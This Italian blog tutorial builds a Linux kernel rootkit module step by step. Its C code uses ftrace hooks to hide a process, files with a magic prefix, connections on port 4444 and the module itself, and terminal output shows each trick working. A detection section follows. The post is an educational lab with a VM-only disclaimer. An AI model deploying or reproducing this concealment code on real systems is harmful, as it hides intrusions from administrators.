2026-03-16 | Pinperepette

Il Processo Che Non Esiste

Un rootkit Linux kernel da zero. Nascondere processi, file, connessioni e il modulo stesso. Solo C e il kernel.

Rootkit Kernel Module ftrace Ubuntu

// Il Tweet

Sezione 00. L'antefatto

Uso un Mac. Lo so, lo so. "Non sei un hacker se non usi Kali." Perche' evidentemente gli hacker non sono capaci di installarsi un tool quando gli serve, hanno bisogno di una distro piena di merda preinstallata. "Ma come fai senza Linux?" Lo sento da vent'anni. La risposta e' sempre la stessa: lo strumento e' irrilevante, conta quello che ci fai. Ma questa non e' la storia di oggi.

La storia e' questa. Una giornalista che conosco, brava, non tecnica, mi scrive su Twitter. "Ma il Mac e' come un PC?" Domanda legittima, da persona che non lavora con i sistemi. Non sa cos'e' macOS, non sa cos'e' un sistema operativo, non e' il suo mestiere. Le rispondo veloce, semplificando come fai quando parli con qualcuno che non e' del settore: "Fa' conto che e' tipo Linux."

Apriti cielo.

Nel giro di dieci minuti, sotto il tweet, arrivano i correttori. "LiNuX e' iL kErNeL, nOn e' Un SiStEmA oPeRaTiVo." "macOS non e' Linux, e' basato su Darwin/BSD." "Dovresti dire GNU/Linux." Uno dopo l'altro, tutti a ripetere la stessa frase letta in qualche forum nel 2009. Parlavano come se stessero insegnando qualcosa a un deficiente.

Il punto e': il 99,9% di quelli che scrivono "Linux e' il kernel" non hanno mai visto il kernel. Non sanno cosa fa, come funziona, dove sta, come ci si parla. Hanno imparato una frase e la ripetono come un mantra per sembrare competenti. E' il livello piu' basso della competenza tecnica: sapere il nome di una cosa senza sapere cos'e'.

La iena, che aveva letto il thread, mi guarda e dice: "Ti hanno fatto girare le scatole, eh?"

"No. Mi hanno dato un'idea per un articolo."

Volete parlare di kernel? Bene. Andiamo dentro il kernel. Scriviamo un modulo che ci si installa, hooka le syscall, fa sparire processi, file e connessioni di rete. Un rootkit. Da zero. In C. Sul kernel che "e' solo il kernel".

Vediamo quanti di quelli che correggono i tweet sanno fare questo.

Disclaimer serio. Tutto quello che segue va fatto in una VM isolata. Mai su un sistema di produzione, mai su una macchina che non e' tua, mai senza autorizzazione. Un rootkit kernel e' una delle cose piu' pericolose che puoi caricare su un sistema. Un bug = kernel panic. Un errore di pulizia = sistema instabile. Questo e' un laboratorio educativo. Trattalo come tale.

0
Nel laboratorio
0
Modulo kernel
0
Processi visibili
Ubuntu
22.04 / 24.04 LTS

// Dentro il Kernel

Sezione 01. Dove vivono i moduli

Il kernel Linux e' un monolite con supporto ai moduli. Un blob di codice che gira in ring 0, con accesso diretto a tutta la memoria, tutti i device, tutte le strutture dati del sistema. Ma ha un meccanismo per caricare codice a runtime senza ricompilare: i Loadable Kernel Modules (LKM).

Un LKM e' un file .ko che carichi con insmod. Appena caricato, il suo codice gira in kernel space. Stessi privilegi del kernel. Accesso a tutto. Nessun limite. Il kernel si fida ciecamente di quello che carichi. Se il modulo vuole leggere tutta la RAM, puo'. Se vuole modificare le strutture dati del kernel, puo'. Se vuole intercettare le syscall, puo'.

Nota su Secure Boot. Su macchine con Secure Boot attivo e module.sig_enforce=1, il kernel accetta solo moduli firmati con una chiave nel keyring di sistema. In quel caso, insmod su un modulo non firmato fallisce. Su una VM di lab senza Secure Boot (il default di VirtualBox e UTM), non c'e' questa restrizione. In produzione, Secure Boot e' una delle poche difese reali contro il caricamento di moduli malevoli.

Questa e' la base di un rootkit kernel: un LKM che si carica, hooka le funzioni del kernel, e riscrive la realta' che il sistema operativo mostra all'utente.

Partiamo dal minimo. Un modulo che si carica, stampa un messaggio, e si scarica.

1/* hello.c — il modulo kernel piu' semplice del mondo */
2#include <linux/module.h>
3#include <linux/kernel.h>
4
5MODULE_LICENSE("GPL");
6
7static int __init hello_init(void) {
8 pr_info("rootkit: sono nel kernel. ciao.\n");
9 return 0;
10}
11
12static void __exit hello_exit(void) {
13 pr_info("rootkit: esco dal kernel. arrivederci.\n");
14}
15
16module_init(hello_init);
17module_exit(hello_exit);
$ make make -C /lib/modules/6.14.0-33-generic/build M=/home/pinperepette/rootkit modules CC [M] rootkit.o LD [M] rootkit.ko $ sudo insmod rootkit.ko $ sudo dmesg | tail -1 [ 142.381024] rootkit: sono nel kernel. ciao. $ lsmod | grep rootkit rootkit 16384 0

Otto righe di C. Un insmod. E sei nel kernel. Il messaggio appare in dmesg, il modulo appare in lsmod. Nessun permesso negato, nessun sandbox, nessuna domanda. Root puo' caricare qualsiasi cosa nel kernel, e il kernel esegue.

Adesso facciamo qualcosa di utile. Cioe' di pericoloso.

Setup della VM. Serve Ubuntu 22.04 o 24.04 LTS. Installa i prerequisiti con sudo apt install build-essential linux-headers-$(uname -r). Lo script setup_lab.sh nel repository fa tutto. Non farlo sulla tua macchina vera. Mai.

// Hookare il Kernel

Sezione 02. ftrace, il framework che ti tradisce

Per nascondere qualcosa, devi intercettare le funzioni del kernel che lo mostrano. Quando ps elenca i processi, chiama la syscall getdents64 su /proc. Quando ls elenca i file, chiama getdents64 sulla directory. Quando netstat mostra le connessioni, legge /proc/net/tcp che e' generato da tcp4_seq_show().

Se intercetti queste funzioni e filtri l'output, il processo gira ma ps non lo vede. Il file esiste ma ls non lo mostra. La connessione e' attiva ma netstat non la trova.

Il metodo moderno per hookare le funzioni kernel si chiama ftrace. E qui c'e' l'ironia: ftrace e' un framework di tracing del kernel, progettato per il debug e il performance profiling. I developer del kernel l'hanno costruito per analizzare il sistema. Noi lo usiamo per sabotarlo.

Il problema: dal kernel 5.7+, kallsyms_lookup_name non e' piu' esportata. Serve per trovare l'indirizzo delle funzioni kernel. Senza di essa, non puoi hookare niente. Ma c'e' un trick.

1/* Trick: usa kprobe per trovare kallsyms_lookup_name */
2static int resolve_kallsyms(void) {
3 struct kprobe kp = { .symbol_name = "kallsyms_lookup_name" };
4 int ret = register_kprobe(&kp);
5 if (ret < 0) return ret;
6
7 ksym_lookup = (kallsyms_lookup_name_t)kp.addr;
8 unregister_kprobe(&kp);
9 return 0;
10}

Registri un kprobe sul simbolo. Il kernel ti da' l'indirizzo. Deregistri il kprobe. Una riga di codice e hai accesso a qualsiasi simbolo del kernel. Il fatto che questo funzioni e' gia' un statement su quanto sia sottile il confine tra debug e attacco.

Con kallsyms_lookup_name in mano, possiamo trovare qualsiasi funzione e hookarla con ftrace. Il meccanismo:

01
Resolve
Trova l'indirizzo della funzione target via kallsyms
02
Filter
Registra un filtro ftrace su quell'indirizzo
03
Hook
La callback cambia il registro IP: l'esecuzione salta al nostro codice
04
Recurse
Il nostro codice chiama l'originale. ftrace vede che la chiamata viene da noi e non redirige
1/*
2 * ftrace_thunk — il cuore del meccanismo.
3 * Quando il kernel chiama la funzione hookata, ftrace ci notifica.
4 * Cambiamo il registro IP per saltare al nostro codice.
5 * within_module() impedisce la ricorsione infinita.
6 */
7static void notrace ftrace_thunk(
8 unsigned long ip,
9 unsigned long parent_ip,
10 struct ftrace_ops *ops,
11 struct ftrace_regs *fregs)
12{
13 struct pt_regs *regs = ftrace_get_regs(fregs);
14 struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);
15
16 /* Se la chiamata viene dal nostro modulo, lascia passare */
17 if (!within_module(parent_ip, THIS_MODULE))
18 regs->ip = (unsigned long)hook->function;
19}

regs->ip e' l'instruction pointer. Cambiarlo significa cambiare la prossima istruzione che la CPU esegue. Quando il kernel sta per chiamare getdents64, noi cambiamo l'IP e la CPU salta alla nostra versione. L'originale non viene mai eseguita. A meno che non la chiamiamo noi dall'interno del nostro hook.

La riga 17 e' la protezione da ricorsione. Quando la nostra hook_getdents64 chiama l'originale orig_getdents64, ftrace intercetta di nuovo. Ma within_module(parent_ip, THIS_MODULE) vede che la chiamata arriva dal nostro modulo e non redirige. L'originale viene eseguita normalmente. Senza questa riga, loop infinito, kernel panic, VM morta.

// Far Sparire un Processo

Sezione 03. L'arte di non essere visti

Quando ps aux elenca i processi, fa questo: apre /proc, chiama getdents64 per leggere le entry della directory, e per ogni entry numerica (che corrisponde a un PID) legge /proc/<PID>/status. Se rimuoviamo l'entry dalla risposta di getdents64, ps non sa che il processo esiste. Non lo cerca, non lo mostra.

Il buffer di getdents64 e' una sequenza di strutture linux_dirent64, ognuna con un nome e una lunghezza variabile. Per rimuovere una entry, ci sono due casi:

1static asmlinkage long hook_getdents64(const struct pt_regs *regs) {
2 struct linux_dirent64 *kdirent, *cur, *prev;
3 unsigned long offset = 0;
4 long ret;
5
6 /* Chiama l'originale */
7 ret = orig_getdents64(regs);
8 if (ret <= 0) return ret;
9
10 /* Copia il buffer in kernel space */
11 kdirent = kzalloc(ret, GFP_KERNEL);
12 if (!kdirent) return ret;
13 if (copy_from_user(kdirent, (void *)regs->si, ret)) {
14 kfree(kdirent); return ret;
15 }
16
17 /* Scorri e filtra */
18 while (offset < ret) {
19 cur = (void *)kdirent + offset;
20 if (should_hide_entry(cur->d_name)) {
21 /* Prima entry: sposta tutto indietro */
22 if (cur == kdirent) {
23 ret -= cur->d_reclen;
24 memmove(kdirent, (void *)kdirent + cur->d_reclen, ret);
25 continue;
26 }
27 /* Entry intermedia: allarga la precedente */
28 prev->d_reclen += cur->d_reclen;
29 } else {
30 prev = cur;
31 }
32 offset += cur->d_reclen;
33 }
34
35 /* Copia il buffer filtrato in userspace */
36 copy_to_user((void *)regs->si, kdirent, ret);
37 kfree(kdirent);
38 return ret;
39}

Il trucco e' alla riga 24. linux_dirent64 ha un campo d_reclen che dice quanto e' lunga quella entry. Chi legge il buffer salta da una entry all'altra sommando d_reclen. Se allarghiamo la entry precedente, la entry da nascondere viene "saltata". Non e' stata cancellata dalla memoria — e' ancora li'. Ma nessuno la legge piu'. Per il sistema, non esiste.

$ sleep 99999 & [1] 6070 $ ps aux | grep "sleep 99999" | grep -v grep pinpere+ 6070 0.0 0.0 6084 2344 pts/0 S 12:33 0:00 sleep 99999 $ sudo insmod rootkit.ko hidden_pid=6070 $ ps aux | grep "sleep 99999" | grep -v grep (nessun output) $ ls /proc/ | grep 6070 (nessun output) $ cat /proc/6070/status | head -1 Name: sleep $ kill -0 6070 && echo "il processo gira ancora" il processo gira ancora

Il processo gira. Consuma CPU, scrive su disco, comunica in rete. Ma ps non lo vede, ls /proc/ | grep 6070 non lo trova. Pero' cat /proc/6070/status lo trova — perche' e' un accesso diretto per path, non passa per getdents64. E kill -0 6070 conferma: il processo c'e'. E' solo invisibile al listing.

Terminale: processo visibile prima del rootkit, invisibile dopo, ma ancora attivo

Perche' kill -0 funziona? Perche' kill usa la syscall kill(2), non getdents64. Il nostro hook intercetta solo la lettura delle directory. Le syscall che operano direttamente per PID (kill, waitpid, ptrace) funzionano ancora. Un rootkit piu' sofisticato hookerebbe anche quelle. Per il lab, basta cosi'.

// Far Sparire un File

Sezione 04. Stesso hook, diversa magia

Lo stesso hook su getdents64 funziona per i file. ls chiama getdents64 sulla directory, noi filtriamo i nomi che iniziano con il prefisso magico sp_hidden_.

1#define MAGIC_PREFIX "sp_hidden_"
2
3static bool should_hide_entry(const char *name) {
4 /* File con prefisso magico */
5 if (strncmp(name, MAGIC_PREFIX, strlen(MAGIC_PREFIX)) == 0)
6 return true;
7
8 /* PID target in /proc */
9 if (hidden_pid > 0) {
10 char pid_str[16];
11 snprintf(pid_str, sizeof(pid_str), "%d", hidden_pid);
12 if (strcmp(name, pid_str) == 0)
13 return true;
14 }
15
16 return false;
17}

Una funzione, due usi. Nasconde processi e file con lo stesso meccanismo. Il bello di hookare a livello di syscall: non importa cosa c'e' sopra. Bash, Python, Go, Rust — tutti passano per getdents64. Tutti vedono la stessa bugia.

$ echo "chiave segreta: DEADBEEF" > /tmp/sp_hidden_keys.txt $ ls /tmp/ | grep sp_ (nessun output — il file e' invisibile) $ cat /tmp/sp_hidden_keys.txt chiave segreta: DEADBEEF $ find /tmp -name "sp_hidden*" 2>/dev/null (nessun output — find usa getdents64)

ls non lo vede. find non lo trova. Ma cat funziona perfettamente, perche' opera per path diretto, non tramite listing di directory. Il file e' li. E' solo che nessuno sa che c'e', a meno che non conosca il nome esatto.

Terminale: file invisibile a ls e find, ma leggibile con cat

// Far Sparire una Connessione

Sezione 05. Il filo invisibile

netstat e ss leggono /proc/net/tcp. Quel file e' generato dalla funzione kernel tcp4_seq_show(). Per ogni socket TCP, la funzione scrive una riga nel file. Se la hookiamo e saltiamo le righe con la nostra porta, la connessione scompare.

1#define MAGIC_PORT 4444
2
3static asmlinkage int hook_tcp4_seq_show(
4 struct seq_file *seq, void *v)
5{
6 struct sock *sk;
7
8 if (v == SEQ_START_TOKEN)
9 return orig_tcp4_seq_show(seq, v);
10
11 sk = (struct sock *)v;
12 if (sk->sk_num == MAGIC_PORT)
13 return 0; /* Salta: la connessione scompare */
14 if (ntohs(sk->sk_dport) == MAGIC_PORT)
15 return 0;
16
17 return orig_tcp4_seq_show(seq, v);
18}

Cinque righe di logica. Riga 12: se la porta sorgente e' 4444, ritorna 0 (nessun output). Riga 14: se la porta destinazione e' 4444, stessa cosa. Per tutto il resto, chiama l'originale. ss e netstat non vedono niente sulla porta 4444. Ma la connessione e' attiva, i dati passano, il C2 comunica.

$ python3 -c "import socket,time; s=socket.socket(); s.bind(('0.0.0.0',4444)); s.listen(); time.sleep(120)" & $ netstat -tlnp 2>/dev/null | grep 4444 (nessun output — la porta e' aperta ma invisibile) $ netstat -tlnp 2>/dev/null | grep 631 tcp 0 0 0.0.0.0:631 0.0.0.0:* LISTEN - $ echo test | nc -w1 localhost 4444; echo "connessione riuscita" connessione riuscita

La porta 631 (CUPS, il servizio di stampa)? Visibile in netstat. Il nostro listener sulla 4444? Invisibile. Ma se ci connetti, risponde. Un attaccante potrebbe avere una reverse shell attiva su quella porta e l'admin non la vedrebbe mai con netstat.

Limitazione reale. ss nelle versioni recenti puo' usare NETLINK_INET_DIAG invece di leggere /proc/net/tcp. In quel caso, il nostro hook su tcp4_seq_show non basta: la connessione sarebbe visibile via netlink. Un rootkit completo dovrebbe hookare anche inet_diag_dump o il handler netlink corrispondente. Per il lab, il punto concettuale e' lo stesso: intercetti la funzione che genera l'output, e l'output cambia.

Terminale: porta 4444 aperta ma non visibile in ss, connessione funzionante

// Far Sparire Se Stesso

Sezione 06. Il fantasma nel kernel

Il modulo e' caricato, le hook sono attive, i processi sono nascosti. Ma c'e' un problema: lsmod mostra il nostro modulo. Un admin che fa un check veloce lo vede subito.

Il kernel mantiene una linked list doppiamente concatenata di tutti i moduli caricati. lsmod la legge. Per scomparire, basta rimuovere il nostro nodo dalla lista.

1static struct list_head *saved_mod_list;
2
3static void hide_module(void) {
4 saved_mod_list = THIS_MODULE->list.prev;
5 list_del(&THIS_MODULE->list);
6}
7
8static void show_module(void) {
9 list_add(&THIS_MODULE->list, saved_mod_list);
10}

Due righe. list_del rimuove il nodo. list_add lo reinserisce. Il modulo resta in memoria, il codice gira, le hook sono attive. Ma per lsmod, per /sys/module/, per /proc/modules, il modulo non esiste.

$ echo "hide" | sudo tee /proc/sp_rootkit $ lsmod | grep rootkit (nessun output) $ cat /proc/sp_rootkit Signal Pirate Rootkit hidden_pid: 6070 module_hidden: yes
Terminale: modulo non visibile in lsmod ne' in /sys/module, ma le hook sono attive

Il rootkit e' invisibile da lsmod. Nessun processo visibile, nessun file con il prefisso magico, nessuna connessione sulla porta 4444 in netstat, nessun modulo nella lista. Ma /proc/sp_rootkit conferma: tutto gira, tutto e' attivo, module_hidden: yes. Per un admin che usa gli strumenti standard, il sistema e' pulito. Ma sotto la superficie, il kernel sta mentendo su tutto.

Attenzione: una volta nascosto, rmmod rootkit non funziona piu' — il kernel non lo trova. Per rimuoverlo: echo "unhide" > /proc/sp_rootkit e poi rmmod. Se nascondi anche l'entry /proc/sp_rootkit, l'unico modo e' riavviare. Motivo per cui facciamo tutto in VM.

// Il Detective

Sezione 07. Come trovare quello che non c'e'

Adesso ribaltiamo la prospettiva. Sei l'admin. Il sistema sembra pulito. Come trovi un rootkit kernel?

La risposta e': non con gli strumenti normali. Il rootkit controlla quello che gli strumenti normali vedono. Devi andare a un livello piu' basso, o cercare le inconsistenze.

TecnicaCosa cercaPerche' funziona
ftrace enabled_functions Hook attivi su syscall Il rootkit usa ftrace, e ftrace tiene traccia di cosa e' hookato. Il traditore tradisce il traditore.
/proc/kallsyms vs lsmod Moduli nascosti list_del rimuove il modulo dalla lista dei moduli, ma i suoi simboli restano in /proc/kallsyms. Discrepanza = rootkit.
Porte aperte vs ss/netstat Connessioni nascoste Prova a connetterti su porte sospette. Se la connessione riesce ma ss non la mostra, qualcuno sta mentendo.
Memory forensics Codice iniettato nel kernel Un dump della RAM con LiME + analisi con Volatility trova tutto: moduli nascosti, hook, strutture modificate.

Il check piu' devastante e' il primo: /sys/kernel/debug/tracing/enabled_functions. Questo file elenca tutte le funzioni kernel con un hook ftrace attivo. Il nostro rootkit usa ftrace per hookare getdents64 e tcp4_seq_show. Queste funzioni appariranno nella lista. Il rootkit non puo' nascondersi da ftrace perche' usa ftrace.

# cat /sys/kernel/debug/tracing/enabled_functions __x64_sys_getdents64 (1) <-- SOSPETTO tcp4_seq_show (1) <-- SOSPETTO

Il secondo check: /proc/kallsyms contiene tutti i simboli del kernel, compresi quelli dei moduli. list_del rimuove il modulo dalla lista dei moduli, ma non rimuove i simboli. Se cerchi "[rootkit]" in kallsyms, lo trovi anche se lsmod non lo mostra.

# grep "\[rootkit\]" /proc/kallsyms ffffffffc0a01000 t rootkit_init [rootkit] ffffffffc0a01100 t hook_getdents64 [rootkit] ffffffffc0a01200 t ftrace_thunk [rootkit]

Il modulo e' nascosto da lsmod ma i suoi simboli sono in kallsyms. Discrepanza. Game over.

Lo script detector.sh nel lab automatizza tutti questi check:

1# Check 1: hook ftrace su syscall
2grep "sys_getdents\|tcp.*seq_show" \
3 /sys/kernel/debug/tracing/enabled_functions
4
5# Check 2: moduli in kallsyms ma non in lsmod
6LSMOD=$(lsmod | awk 'NR>1 {print $1}')
7KALLSYMS=$(awk '{print $3}' /proc/kallsyms | grep '\[' | sort -u)
8# Se un modulo e' in kallsyms ma non in lsmod: nascosto
9
10# Check 3: porte aperte ma non visibili
11for PORT in 4444 5555 31337; do
12 if timeout 1 bash -c "echo > /dev/tcp/127.0.0.1/$PORT" 2>/dev/null; then
13 ss -tlnH | grep ":$PORT" || echo "NASCOSTA: porta $PORT"
14 fi
15done
Output del detector: hook ftrace trovati, modulo nascosto in kallsyms, porta 4444 aperta ma non visibile

Il paradosso del rootkit ftrace. Un rootkit piu' avanzato non userebbe ftrace ma modificherebbe direttamente le strutture kernel in memoria (inline hooking, modifiche alla syscall table via write_cr0). Sarebbe piu' difficile da trovare. Ma anche piu' fragile: ogni aggiornamento del kernel potrebbe cambiare gli offset e crashare il sistema. La sicurezza non e' binaria. E' sempre un trade-off tra stealth e stabilita'.

// Il Lab Completo

Sezione 08. Dall'installazione alla detection

Tutto il codice e' nel repository. Ecco la procedura dall'inizio alla fine.

01
VM
Ubuntu 22.04 o 24.04 in VirtualBox/UTM
02
Setup
setup_lab.sh installa headers e build tools
03
Build
make compila rootkit.ko
04
Load
insmod carica il modulo nel kernel
05
Test
test_rootkit.sh verifica tutto
06
Detect
detector.sh trova il rootkit
$ sudo ./setup_lab.sh === Signal Pirate — Rootkit Lab Setup === [1/4] Aggiorno i pacchetti... [2/4] Installo build-essential e kernel headers... [3/4] Verifico che i kernel headers siano al posto giusto... [4/4] Installo strumenti di debug... === Setup completato === $ make make -C /lib/modules/6.14.0-33-generic/build M=/home/pinperepette/rootkit modules CC [M] rootkit.o LD [M] rootkit.ko $ sleep 99999 & [1] 6070 $ sudo insmod rootkit.ko hidden_pid=6070 $ ps aux | grep "sleep 99999" | grep -v grep (nessun output) $ echo "hide" | sudo tee /proc/sp_rootkit $ lsmod | grep rootkit (nessun output) $ sudo ./detector.sh === Signal Pirate — Rootkit Detector === [CHECK 1] TROVATO: hook ftrace su __x64_sys_getdents64 [CHECK 5] TROVATO: entry sospette in /proc: -> /proc/sp_rootkit Score: 50/100 — Indicatori moderati, indagare

Gli script del lab. rootkit.c: il modulo completo con tutte le funzionalita'. Makefile: compila il modulo. setup_lab.sh: installa i prerequisiti. test_rootkit.sh: testa processo, file, connessione e modulo. detector.sh: cerca il rootkit. Tutto nella cartella scripts/il-processo-che-non-esiste su GitHub.

"Il processo gira. Il file esiste. La connessione e' attiva.
Per il sistema operativo, non esistono."

"Linux e' il kernel." Si'. E il kernel e' la cosa che decide cosa esiste e cosa no. Quando ci carichi un modulo, sei tu a decidere. L'admin guarda ps, ls, netstat e vede un sistema pulito. Ma il sistema pulito e' una bugia che il kernel sta raccontando. La prossima volta che qualcuno ti corregge su Twitter con "Linux e' il kernel", chiedigli se ha mai scritto un modulo per quel kernel. La risposta la conosci gia'.

Signal Pirate